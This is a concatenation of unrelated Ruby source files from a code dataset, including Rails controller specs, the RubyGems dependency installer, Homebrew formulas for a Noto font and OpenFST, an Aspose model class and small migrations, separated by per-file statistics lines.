be_success end end describe "GET #new" do it "returns a success response" do get :new, params: {}, session: valid_session expect(response).to be_success end end describe "GET #edit" do it "returns a success response" do school_attachment = SchoolAttachment.create! valid_attributes get :edit, params: {id: school_attachment.to_param}, session: valid_session expect(response).to be_success end end describe "POST #create" do context "with valid params" do it "creates a new SchoolAttachment" do expect { post :create, params: {school_attachment: valid_attributes}, session: valid_session }.to change(SchoolAttachment, :count).by(1) end it "redirects to the created school_attachment" do post :create, params: {school_attachment: valid_attributes}, session: valid_session expect(response).to redirect_to(SchoolAttachment.last) end end context "with invalid params" do it "returns a success response (i.e. to display the 'new' template)" do post :create, params: {school_attachment: invalid_attributes}, session: valid_session expect(response).to be_success end end end describe "PUT #update" do context "with valid params" do let(:new_attributes) { skip("Add a hash of attributes valid for your model") } it "updates the requested school_attachment" do school_attachment = SchoolAttachment.create! valid_attributes put :update, params: {id: school_attachment.to_param, school_attachment: new_attributes}, session: valid_session school_attachment.reload skip("Add assertions for updated state") end it "redirects to the school_attachment" do school_attachment = SchoolAttachment.create! valid_attributes put :update, params: {id: school_attachment.to_param, school_attachment: valid_attributes}, session: valid_session expect(response).to redirect_to(school_attachment) end end context "with invalid params" do it "returns a success response (i.e. to display the 'edit' template)" do school_attachment = SchoolAttachment.create! valid_attributes put :update, params: {id: school_attachment.to_param, school_attachment: invalid_attributes}, session: valid_session expect(response).to be_success end end end describe "DELETE #destroy" do it "destroys the requested school_attachment" do school_attachment = SchoolAttachment.create! valid_attributes expect { delete :destroy, params: {id: school_attachment.to_param}, session: valid_session }.to change(SchoolAttachment, :count).by(-1) end it "redirects to the school_attachments list" do school_attachment = SchoolAttachment.create! valid_attributes delete :destroy, params: {id: school_attachment.to_param}, session: valid_session expect(response).to redirect_to(school_attachments_url) end end end
38.971831
124
0.726238
397b69535771b6bc486a7a242043be8e8209ffbf
1,846
module Carto class RateLimitValues extend Forwardable delegate [:<<, :[], :[]=, :all, :clear, :each, :empty?, :flat_map, :first, :length, :pop, :present?, :push, :second] => :@rate_limits VALUES_PER_RATE_LIMIT = 3 def initialize(values) @rate_limits = [] values = convert_from_db_array(values) values.each_slice(VALUES_PER_RATE_LIMIT) do |slice| push(RateLimitValue.new(slice)) end end def to_array flat_map(&:to_array) end def ==(other) other.class == self.class && to_array == other.try(:to_array) end def to_redis_array RateLimitValues.dump(self) end def self.dump(rate_limit_values) return [] if rate_limit_values.nil? rate_limit_values.flat_map(&:to_array) end def self.load(values) RateLimitValues.new(values) end private def convert_from_db_array(values) return [] if values.nil? || values.empty? return values.delete('{}').split(',') if values.is_a? String values end end class RateLimitValue attr_accessor :max_burst, :count_per_period, :period def initialize(values) @values = values self.max_burst, self.count_per_period, self.period = values.map(&:to_i) if valid? end def valid? values_per_rate_limit = Carto::RateLimitValues::VALUES_PER_RATE_LIMIT if !@values || @values.length < values_per_rate_limit && @values.length % values_per_rate_limit != 0 raise 'Error: Number of rate limits needs to be multiple of three' end true end def to_array [max_burst, count_per_period, period] end end end
22.512195
106
0.586674
b95b9ac64e52c589fdecc6a2bf549b6ef59fe84c
1,111
require 'spec_helper' describe RegistrationsController, type: :controller do describe 'GET regenerate_api_key' do # Get an 'Could not find devise mapping for path "/regenerate_api_key".' # error without this. before { @request.env['devise.mapping'] = Devise.mappings[:user] } context 'with a signed-in user' do let(:user) { create_user } before { sign_in user } it "regenerates the user's API key" do expect { get :regenerate_api_key }.to change { users_api_key } expect(response.status).to eq(302) expect(flash[:notice]).to eq('Your API Key has been updated.') end # Since Elasticsearch::Persistence::Model doesn't give us a convenient # way to reload instances, we fetch the api_key each time when checking # that it changed. def users_api_key User.to_adapter.find_first(email: user.email).api_key end end context 'without a signed-in user' do it 'responds with 401 unauthorized' do get :regenerate_api_key expect(response.status).to eq(401) end end end end
31.742857
77
0.666967
ac30f3c011dfab1dff4fe78fd0adde6805b3ad0a
255
# Preview all emails at http://localhost:3000/rails/mailers/account class AccountPreview < ActionMailer::Preview # Preview this email at http://localhost:3000/rails/mailers/account/not_account def not_account AccountMailer.not_account end end
25.5
81
0.788235
288a136ff41e2df345fd0f77432af1b12087408c
1,198
exclude :test_alias, "needs investigation" exclude :test_attr, "needs investigation" exclude :test_classpath, "needs investigation" exclude :test_const_get_invalid_name, "UTF-16 invalid name is accepted as ok, unfinished in initial 2.6 work, #6161" exclude :test_const_set_invalid_name, "UTF-16 invalid name is accepted as ok" exclude :test_define_module_under_private_constant, "we don't evaluate colon2-like class opening via colon2 logic, can't tell if private are ok" exclude :test_deprecate_nil_constant, "constants may recache after crossing JIT boundary (#6164)" exclude :test_include_module_with_constants_does_not_invalidate_method_cache, "no RubyVM constant in JRuby" exclude :test_initialize_copy_empty, "needs investigation" exclude :test_invalid_attr, "needs investigation" exclude :test_method_defined, "unfinished in initial 2.6 work, #6161" exclude :test_method_defined_without_include_super, "unfinished in initial 2.6 work, #6161" exclude :test_method_redefinition, "needs investigation" exclude :test_private_constant_reopen, "needs investigation" exclude :test_private_constant_with_no_args, "needs investigation" exclude :test_protected_singleton_method, "needs investigation"
70.470588
144
0.838898
bb7047f2e43ce2fc8b10e6b387a2f781ddd54399
3,288
module Candidates class SchoolPresenter include TextFormattingHelper attr_reader :school, :profile delegate :name, :urn, :coordinates, :website, to: :school delegate :availability_preference_fixed?, to: :school delegate :experience_details, :individual_requirements, to: :profile delegate :description_details, :disabled_facilities, to: :profile delegate :teacher_training_info, :teacher_training_url, to: :profile delegate :parking_provided, :parking_details, to: :profile delegate :start_time, :end_time, to: :profile delegate :flexible_on_times, :flexible_on_times_details, to: :profile delegate :dress_code_other_details, to: :profile delegate :availability_info, to: :school delegate :administration_fee_amount_pounds, :administration_fee_interval, \ :administration_fee_description, :administration_fee_payment_method, to: :profile delegate :dbs_fee_amount_pounds, :dbs_fee_interval, \ :dbs_fee_description, :dbs_fee_payment_method, to: :profile delegate :other_fee_amount_pounds, :other_fee_interval, \ :other_fee_description, :other_fee_payment_method, to: :profile delegate :supports_access_needs?, :access_needs_description, :disability_confident?, :has_access_needs_policy?, :access_needs_policy_url, to: :profile def initialize(school, profile) @school = school @profile = profile end def dress_code dc_attrs = profile.attributes.map do |key, value| next unless key.to_s =~ /dress_code_/ && key.to_s != 'dress_code_other_details' && value == true profile.class.human_attribute_name(key) end dc_attrs.compact.join(', ') end def dress_code? dress_code_other_details.present? || dress_code.present? end def formatted_dress_code return unless dress_code? safe_format [dress_code, dress_code_other_details].join("\n\n") end def dbs_required if profile.has_legacy_dbs_requirement? legacy_dbs_requirement else dbs_requirement end end def dbs_policy if profile.has_legacy_dbs_requirement? profile.dbs_policy else profile.dbs_policy_details end end def primary_dates school.bookings_placement_dates.primary end def secondary_dates school .bookings_placement_dates .secondary .eager_load(:subjects, placement_date_subjects: :bookings_subject) .available end def secondary_dates_grouped_by_date secondary_dates .map(&PlacementDateOption.method(:for_secondary_date)) .flatten .group_by(&:date) .each_value(&:sort!) end private def dbs_requirement case profile.dbs_policy_conditions when "required" "Yes" when "inschool" "Yes - when in school" when "notrequired" 'No - Candidates will be accompanied at all times when in school' end end def legacy_dbs_requirement case profile.dbs_required when 'always' then 'Yes - Always' when 'sometimes' then 'Yes - Sometimes' when 'never' then 'No - Candidates will be accompanied at all times' end end end end
27.630252
87
0.689477
bb5b3e8fd0cf349a1cb48245c3e0a62b5c36dd5d
41
class Occupation < ApplicationRecord end
13.666667
36
0.853659
6acb852646493998cc98951c0289c3fb86e5bb9f
894
module EPlusOut module Relations class Relation attr_reader :gateway, :mapper def initialize(gateway, mapper) @gateway = gateway @mapper = mapper end def name_field raise NotImplementedError, 'Must be implemented by child class' end def clauses {} end def order_by [] end def clauses_with_name(name) clauses.merge(name_field => name) end def find_by_name(name) data = @gateway.where(clauses_with_name(name), order_by:order_by, distinct: false) object = @mapper.(data) object.name = name return object end def all names = gateway.where(clauses, select: name_field, order_by: order_by, distinct: true) return names.reduce([]) {|results, name| results << find_by_name(name)} end end end end
21.285714
94
0.600671
ed90af042ce6fa6d0132ffa1c57274ff016d0c15
12,386
require 'rubygems' require 'rubygems/dependency_list' require 'rubygems/package' require 'rubygems/installer' require 'rubygems/spec_fetcher' require 'rubygems/user_interaction' require 'rubygems/source_local' require 'rubygems/source_specific_file' require 'rubygems/available_set' ## # Installs a gem along with all its dependencies from local and remote gems. class Gem::DependencyInstaller include Gem::UserInteraction attr_reader :gems_to_install attr_reader :installed_gems ## # Documentation types. For use by the Gem.done_installing hook attr_reader :document DEFAULT_OPTIONS = { :env_shebang => false, :document => %w[ri], :domain => :both, # HACK dup :force => false, :format_executable => false, # HACK dup :ignore_dependencies => false, :prerelease => false, :security_policy => nil, # HACK NoSecurity requires OpenSSL. AlmostNo? Low? :wrappers => true, :build_args => nil, :build_docs_in_background => false, }.freeze ## # Creates a new installer instance. # # Options are: # :cache_dir:: Alternate repository path to store .gem files in. # :domain:: :local, :remote, or :both. :local only searches gems in the # current directory. :remote searches only gems in Gem::sources. # :both searches both. # :env_shebang:: See Gem::Installer::new. # :force:: See Gem::Installer#install. # :format_executable:: See Gem::Installer#initialize. # :ignore_dependencies:: Don't install any dependencies. # :install_dir:: See Gem::Installer#install. # :prerelease:: Allow prerelease versions. See #install. # :security_policy:: See Gem::Installer::new and Gem::Security. # :user_install:: See Gem::Installer.new # :wrappers:: See Gem::Installer::new # :build_args:: See Gem::Installer::new def initialize(options = {}) if options[:install_dir] then @gem_home = options[:install_dir] # HACK shouldn't change the global settings Gem::Specification.dirs = @gem_home Gem.ensure_gem_subdirectories @gem_home options[:install_dir] = @gem_home # FIX: because we suck and reuse below end options = DEFAULT_OPTIONS.merge options @bin_dir = options[:bin_dir] @dev_shallow = options[:dev_shallow] @development = options[:development] @document = options[:document] @domain = options[:domain] @env_shebang = options[:env_shebang] @force = options[:force] @format_executable = options[:format_executable] @ignore_dependencies = options[:ignore_dependencies] @prerelease = options[:prerelease] @security_policy = options[:security_policy] @user_install = options[:user_install] @wrappers = options[:wrappers] @build_args = options[:build_args] @build_docs_in_background = options[:build_docs_in_background] # Indicates that we should not try to update any deps unless # we absolutely must. @minimal_deps = options[:minimal_deps] @installed_gems = [] @toplevel_specs = nil @install_dir = options[:install_dir] || Gem.dir @cache_dir = options[:cache_dir] || @install_dir # Set with any errors that SpecFetcher finds while search through # gemspecs for a dep @errors = nil end attr_reader :errors ## # Indicated, based on the requested domain, if local # gems should be considered. def consider_local? @domain == :both or @domain == :local end ## # Indicated, based on the requested domain, if remote # gems should be considered. def consider_remote? @domain == :both or @domain == :remote end ## # Returns a list of pairs of gemspecs and source_uris that match # Gem::Dependency +dep+ from both local (Dir.pwd) and remote (Gem.sources) # sources. Gems are sorted with newer gems preferred over older gems, and # local gems preferred over remote gems. def find_gems_with_sources(dep) set = Gem::AvailableSet.new if consider_local? sl = Gem::Source::Local.new if spec = sl.find_gem(dep.name) if dep.matches_spec? spec set.add spec, sl end end end if consider_remote? begin found, errors = Gem::SpecFetcher.fetcher.spec_for_dependency dep if @errors @errors += errors else @errors = errors end set << found rescue Gem::RemoteFetcher::FetchError => e # FIX if there is a problem talking to the network, we either need to always tell # the user (no really_verbose) or fail hard, not silently tell them that we just # couldn't find their requested gem. if Gem.configuration.really_verbose then say "Error fetching remote data:\t\t#{e.message}" say "Falling back to local-only install" end @domain = :local end end set end ## # Gathers all dependencies necessary for the installation from local and # remote sources unless the ignore_dependencies was given. def gather_dependencies specs = @available.all_specs # these gems were listed by the user, always install them keep_names = specs.map { |spec| spec.full_name } if @dev_shallow @toplevel_specs = keep_names end dependency_list = Gem::DependencyList.new @development dependency_list.add(*specs) to_do = specs.dup add_found_dependencies to_do, dependency_list unless @ignore_dependencies # REFACTOR maybe abstract away using Gem::Specification.include? so # that this isn't dependent only on the currently installed gems dependency_list.specs.reject! { |spec| not keep_names.include?(spec.full_name) and Gem::Specification.include?(spec) } unless dependency_list.ok? or @ignore_dependencies or @force then reason = dependency_list.why_not_ok?.map { |k,v| "#{k} requires #{v.join(", ")}" }.join("; ") raise Gem::DependencyError, "Unable to resolve dependencies: #{reason}" end @gems_to_install = dependency_list.dependency_order.reverse end def add_found_dependencies to_do, dependency_list seen = {} dependencies = Hash.new { |h, name| h[name] = Gem::Dependency.new name } until to_do.empty? do spec = to_do.shift # HACK why is spec nil? next if spec.nil? or seen[spec.name] seen[spec.name] = true deps = spec.runtime_dependencies if @development if @dev_shallow if @toplevel_specs.include? spec.full_name deps |= spec.development_dependencies end else deps |= spec.development_dependencies end end deps.each do |dep| dependencies[dep.name] = dependencies[dep.name].merge dep if @minimal_deps next if Gem::Specification.any? do |installed_spec| dep.name == installed_spec.name and dep.requirement.satisfied_by? installed_spec.version end end results = find_gems_with_sources(dep) results.sorted.each do |t| to_do.push t.spec end results.remove_installed! dep @available << results results.inject_into_list dependency_list end end dependency_list.remove_specs_unsatisfied_by dependencies end ## # Finds a spec and the source_uri it came from for gem +gem_name+ and # +version+. Returns an Array of specs and sources required for # installation of the gem. def find_spec_by_name_and_version(gem_name, version = Gem::Requirement.default, prerelease = false) set = Gem::AvailableSet.new if consider_local? if File.file? gem_name then src = Gem::Source::SpecificFile.new(gem_name) set.add src.spec, src else local = Gem::Source::Local.new if s = local.find_gem(gem_name, version) set.add s, local end end end if set.empty? dep = Gem::Dependency.new gem_name, version # HACK Dependency objects should be immutable dep.prerelease = true if prerelease set = find_gems_with_sources(dep) set.match_platform! end if set.empty? raise Gem::SpecificGemNotFoundException.new(gem_name, version, @errors) end @available = set end ## # Installs the gem +dep_or_name+ and all its dependencies. Returns an Array # of installed gem specifications. # # If the +:prerelease+ option is set and there is a prerelease for # +dep_or_name+ the prerelease version will be installed. # # Unless explicitly specified as a prerelease dependency, prerelease gems # that +dep_or_name+ depend on will not be installed. # # If c-1.a depends on b-1 and a-1.a and there is a gem b-1.a available then # c-1.a, b-1 and a-1.a will be installed. b-1.a will need to be installed # separately. def install dep_or_name, version = Gem::Requirement.default if String === dep_or_name then find_spec_by_name_and_version dep_or_name, version, @prerelease else dep = dep_or_name.dup dep.prerelease = @prerelease @available = find_gems_with_sources(dep).pick_best! end @installed_gems = [] gather_dependencies # REFACTOR is the last gem always the one that the user requested? # This code assumes that but is that actually validated by the code? last = @gems_to_install.size - 1 @gems_to_install.each_with_index do |spec, index| # REFACTOR more current spec set hardcoding, should be abstracted? next if Gem::Specification.include?(spec) and index != last # TODO: make this sorta_verbose so other users can benefit from it say "Installing gem #{spec.full_name}" if Gem.configuration.really_verbose source = @available.source_for spec begin # REFACTOR make the fetcher to use configurable local_gem_path = source.download spec, @cache_dir rescue Gem::RemoteFetcher::FetchError # TODO I doubt all fetch errors are recoverable, we should at least # report the errors probably. next if @force raise end if @development if @dev_shallow is_dev = @toplevel_specs.include? spec.full_name else is_dev = true end end inst = Gem::Installer.new local_gem_path, :bin_dir => @bin_dir, :development => is_dev, :env_shebang => @env_shebang, :force => @force, :format_executable => @format_executable, :ignore_dependencies => @ignore_dependencies, :install_dir => @install_dir, :security_policy => @security_policy, :user_install => @user_install, :wrappers => @wrappers, :build_args => @build_args spec = inst.install @installed_gems << spec end # Since this is currently only called for docs, we can be lazy and just say # it's documentation. Ideally the hook adder could decide whether to be in # the background or not, and what to call it. in_background "Installing documentation" do start = Time.now Gem.done_installing_hooks.each do |hook| hook.call self, @installed_gems end finish = Time.now say "Done installing documentation for #{@installed_gems.map(&:name).join(', ')} (#{(finish-start).to_i} sec)." end unless Gem.done_installing_hooks.empty? @installed_gems end def in_background what fork_happened = false if @build_docs_in_background and Process.respond_to?(:fork) begin Process.fork do yield end fork_happened = true say "#{what} in a background process." rescue NotImplementedError end end yield unless fork_happened end end
31.198992
117
0.633134
91be82a2259af65c89f87cff9a557aa2f4f7cd50
2,503
class FontNotoSerifLao < Formula head "https://noto-website-2.storage.googleapis.com/pkgs/NotoSerifLao-unhinted.zip" desc "Noto Serif Lao" homepage "https://www.google.com/get/noto/#serif-laoo" def install (share/"fonts").install "NotoSerifLao-Black.ttf" (share/"fonts").install "NotoSerifLao-Bold.ttf" (share/"fonts").install "NotoSerifLao-Condensed.ttf" (share/"fonts").install "NotoSerifLao-CondensedBlack.ttf" (share/"fonts").install "NotoSerifLao-CondensedBold.ttf" (share/"fonts").install "NotoSerifLao-CondensedExtraBold.ttf" (share/"fonts").install "NotoSerifLao-CondensedExtraLight.ttf" (share/"fonts").install "NotoSerifLao-CondensedLight.ttf" (share/"fonts").install "NotoSerifLao-CondensedMedium.ttf" (share/"fonts").install "NotoSerifLao-CondensedSemiBold.ttf" (share/"fonts").install "NotoSerifLao-CondensedThin.ttf" (share/"fonts").install "NotoSerifLao-ExtraBold.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensed.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedBlack.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedBold.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedExtraBold.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedExtraLight.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedLight.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedMedium.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedSemiBold.ttf" (share/"fonts").install "NotoSerifLao-ExtraCondensedThin.ttf" (share/"fonts").install "NotoSerifLao-ExtraLight.ttf" (share/"fonts").install "NotoSerifLao-Light.ttf" (share/"fonts").install "NotoSerifLao-Medium.ttf" (share/"fonts").install "NotoSerifLao-Regular.ttf" (share/"fonts").install "NotoSerifLao-SemiBold.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensed.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedBlack.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedBold.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedExtraBold.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedExtraLight.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedLight.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedMedium.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedSemiBold.ttf" (share/"fonts").install "NotoSerifLao-SemiCondensedThin.ttf" (share/"fonts").install "NotoSerifLao-Thin.ttf" end test do end end
54.413043
85
0.745106
ab581da0159e519385e63b03090e31ada16475b5
267
require 'rails_helper' RSpec.describe "users/show", type: :view do before(:each) do @user = assign(:user, User.create!( username: "Username" )) end it "renders attributes in <p>" do render expect(rendered).to match(/Username/) end end
17.8
43
0.640449
5d285456d752cacd8ffeff83f554b740e4cef8cd
1,490
class Openfst < Formula desc "Library for weighted finite-state transducers" homepage "http://www.openfst.org/twiki/bin/view/FST/WebHome" url "http://openfst.org/twiki/pub/FST/FstDownload/openfst-1.7.9.tar.gz" sha256 "9319aeb31d1e2950ae25449884e255cc2bc9dfaf987f601590763e61a10fbdde" license "Apache-2.0" livecheck do url "http://www.openfst.org/twiki/bin/view/FST/FstDownload" regex(/href=.*?openfst[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do sha256 cellar: :any, catalina: "b32fb6cb0eb43a7d8775d8bfc760c49471586eeb33797f3d44a8b53cd45dc792" sha256 cellar: :any, mojave: "7e5a450f383ddfeddcb7ee8d240e7db576fcc32a25c199d6a35eba40fea920d9" sha256 cellar: :any, high_sierra: "0635e790f390be0a97c78a434e723280339fe0f0d86ee55c4a34339840f160a7" end def install system "./configure", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make" system "make", "install" end test do (testpath/"text.fst").write <<~EOS 0 1 a x .5 0 1 b y 1.5 1 2 c z 2.5 2 3.5 EOS (testpath/"isyms.txt").write <<~EOS <eps> 0 a 1 b 2 c 3 EOS (testpath/"osyms.txt").write <<~EOS <eps> 0 x 1 y 2 z 3 EOS system bin/"fstcompile", "--isymbols=isyms.txt", "--osymbols=osyms.txt", "text.fst", "binary.fst" assert_predicate testpath/"binary.fst", :exist? end end
28.113208
104
0.638255
01d4ab17b077f3ccc1327731e935294423079289
9,311
=begin Copyright (c) 2019 Aspose Pty Ltd Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. =end require 'date' module AsposeSlidesCloud # Replace text task. class ReplaceText # Task type. attr_accessor :type # Text to be replaced. attr_accessor :old_text # Text to replace with. attr_accessor :new_text # True to ignore case in replace pattern search. attr_accessor :ignore_case # One-based position of the slide to perform the replace in. 0 to make the replace throughout the presentation. attr_accessor :slide_position class EnumAttributeValidator attr_reader :datatype attr_reader :allowable_values def initialize(datatype, allowable_values) @allowable_values = allowable_values.map do |value| case datatype.to_s when /Integer/i value.to_i when /Float/i value.to_f else value end end end def valid?(value) !value || allowable_values.any?{ |s| s.casecmp(value) == 0 } end end # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'type' => :'Type', :'old_text' => :'OldText', :'new_text' => :'NewText', :'ignore_case' => :'IgnoreCase', :'slide_position' => :'SlidePosition' } end # Attribute type mapping. def self.swagger_types { :'type' => :'String', :'old_text' => :'String', :'new_text' => :'String', :'ignore_case' => :'BOOLEAN', :'slide_position' => :'Integer' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v } if attributes.has_key?(:'Type') self.type = attributes[:'Type'] else self.type = "ReplaceText" end if attributes.has_key?(:'OldText') self.old_text = attributes[:'OldText'] end if attributes.has_key?(:'NewText') self.new_text = attributes[:'NewText'] end if attributes.has_key?(:'IgnoreCase') self.ignore_case = attributes[:'IgnoreCase'] end if attributes.has_key?(:'SlidePosition') self.slide_position = attributes[:'SlidePosition'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new if @type.nil? invalid_properties.push('invalid value for "type", type cannot be nil.') end if @ignore_case.nil? invalid_properties.push('invalid value for "ignore_case", ignore_case cannot be nil.') end if @slide_position.nil? invalid_properties.push('invalid value for "slide_position", slide_position cannot be nil.') end invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return false if @type.nil? type_validator = EnumAttributeValidator.new('String', ['Save', 'SaveSlide', 'SaveShape', 'AddSlide', 'AddMasterSlide', 'AddLayoutSlide', 'RemoveSlide', 'ReoderSlide', 'Merge', 'UpdateBackground', 'ResetSlide', 'AddShape', 'RemoveShape', 'UpdateShape', 'ReplaceText']) return false unless type_validator.valid?(@type) return false if @ignore_case.nil? return false if @slide_position.nil? true end # Custom attribute writer method checking allowed values (enum). # @param [Object] type Object to be assigned def type=(type) validator = EnumAttributeValidator.new('String', ['Save', 'SaveSlide', 'SaveShape', 'AddSlide', 'AddMasterSlide', 'AddLayoutSlide', 'RemoveSlide', 'ReoderSlide', 'Merge', 'UpdateBackground', 'ResetSlide', 'AddShape', 'RemoveShape', 'UpdateShape', 'ReplaceText']) unless validator.valid?(type) fail ArgumentError, 'invalid value for "type", must be one of #{validator.allowable_values}.' end @type = type end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && type == o.type && old_text == o.old_text && new_text == o.new_text && ignore_case == o.ignore_case && slide_position == o.slide_position end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [type, old_text, new_text, ignore_case, slide_position].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = AsposeSlidesCloud.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
32.442509
273
0.638492
f7ac466fa2cc5f4a5361e4e6a829cc9ab341281d
356
# frozen_string_literal: true class ProtocolTest < ProtocolTestBase def setup add_random_operations(1) end def analyze assert_equal(@backtrace.last[:operation], 'complete') rval = @backtrace.last[:rval] test_row = ["P1", "P1", 16, 17, 18, 19, "P2", "P2", 20, 21, 22, 23] assert_equal(rval[:layout_table][2], test_row) end end
23.733333
71
0.671348
035dc08ed98fd9b170adc1b376d400418fdcc9a6
428
# Be sure to restart your server when you modify this file. # Avoid CORS issues when API is called from the frontend app. # Handle Cross-Origin Resource Sharing (CORS) in order to accept cross-origin AJAX requests. # Read more: https://github.com/cyu/rack-cors Rails.application.config.middleware.insert_before 0, Rack::Cors do allow do origins '*' resource '*', headers: :any, methods: :any end end
25.176471
92
0.712617
878a87af7b1879a7acf328c3c2011e745e55577b
451
module OpenAgenda module InheritableAttribute def inheritable_attr(name) instance_eval <<-RUBY def #{name}=(v) @#{name} = v end def #{name} @#{name} ||= InheritableAttribute.inherit(self, :#{name}) end RUBY end def self.inherit(klass, name) return unless klass.superclass.respond_to?(name) and value = klass.superclass.send(name) value.clone end end end
22.55
94
0.594235
7967176d76b385c6a7887e3b7e0c9d05506ed5ea
277
ark 'test_dump' do url 'https://github.com/burtlo/ark/raw/master/files/default/foo.zip' checksum 'deea3a324115c9ca0f3078362f807250080bf1b27516f7eca9d34aad863a11e0' path '/usr/local/foo_dump' creates 'foo1.txt' owner 'foobarbaz' group 'foobarbaz' action :dump end
27.7
77
0.772563
62d183bf7576f79382bbf551187d2b7872d3e658
1,081
# frozen_string_literal: true # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # This file is the source Rails uses to define your schema when running `bin/rails # db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to # be faster and is potentially less error prone than running all of your # migrations from scratch. Old migrations may fail to apply correctly if those # migrations use external dependencies or application code. # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema[7.0].define(version: 20_220_214_223_714) do # These are extensions that must be enabled in order to support this database enable_extension 'plpgsql' create_table 'messages', force: :cascade do |t| t.string 'content' t.datetime 'created_at', null: false t.datetime 'updated_at', null: false end end
43.24
86
0.774283
33653716adba0c78fea4d74c0ae31b2f91ff473b
295
class UpdateMenuDeleteObject < ActiveRecord::Migration[4.2] def self.up permission = Permission.find_by_name('administer assignments') site_controller = SiteController.create(name: 'delete_object', permission_id: permission.id) Role.rebuild_cache end def self.down; end end
24.583333
96
0.766102
7901261c3fa3a60caa82a22dae1689edcceb7cbf
2,830
